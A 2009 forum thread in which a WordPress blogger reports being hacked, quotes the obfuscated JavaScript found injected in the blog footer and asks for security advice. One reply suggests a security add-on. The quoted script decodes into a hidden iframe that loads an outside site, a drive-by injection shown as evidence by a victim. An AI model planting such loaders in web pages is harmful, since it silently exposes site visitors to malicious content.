Blog Azeroth

A forum for World of Warcraft Bloggers
It is currently Tue Sep 02, 2014 9:27 pm

All times are UTC




Post new topic Reply to topic  [ 2 posts ] 
Author Message
 Post subject: I've Been Hacked! HALP!
PostPosted: Sun Mar 29, 2009 2:45 pm 
Offline
User avatar

Joined: Mon Jan 28, 2008 5:37 am
Posts: 24
Server: Kel'Thuzad
http://www.isheepthings.com/blog/ive-been-hacked/

So my WP 2.7.1 (up to date) install was hacked. I'm not sure the exactly how long it was compromised but after digging in I finally found the script code that was causing the issue. Problem is I'm not sure exactly what that "issue" was. Both the Script and the site that it reference were written in Obfuscated code (http://en.wikipedia.org/wiki/Obfuscated_code). Here is an example of what I saw between <SCRIPT></SCRIPT> tags at the footer of my blog...


Code:
q="=hgs`ld!rsb<iuuq;..`erbdod/hs.fnnfmd.ho/bfh>5!vheui<1!idhfiu<1!ruxmd<&whrhchmhux;iheedo&?=.hgs`ld?";w="";for(i=0;i<q.length;i++){w=w+String.fromCharCode(q.charCodeAt(i)^1);};document.write(w);




I'm not sure how it even happened. Perhaps it was some zero-day SQL injection but I wanted to ask the community if you've had anything like this happen to you (and I know a few have...just can't remember who posted about it) and what have you done to "step up" self hosted wp blog security to prevent it from happening in future.

_________________
Image

http://www.isheepthings.com/


Top
 WWW Profile Send private message  
 
 Post subject: Re: I've Been Hacked! HALP!
PostPosted: Mon Mar 30, 2009 5:17 pm 
Offline
User avatar

Joined: Wed Dec 24, 2008 2:37 am
Posts: 22
Server: The Scryers
Never had it happen to my wp blog, but try this addon to eliminate any other security leaks you might have.

_________________
Image


Top
 WWW Profile Send private message  
 
Display posts from previous:  Sort by  
Post new topic Reply to topic  [ 2 posts ] 

All times are UTC


Who is online

Users browsing this forum: No registered users and 3 guests


You cannot post new topics in this forum
You cannot reply to topics in this forum
You cannot edit your posts in this forum
You cannot delete your posts in this forum
You cannot post attachments in this forum

Jump to:  
cron
Powered by phpBB © 2000, 2002, 2005, 2007 phpBB Group
mergenine: WoW Alliance BB3
World of Warcraft ® ©2004-2007 Blizzard Entertainment, Inc. All rights reserved.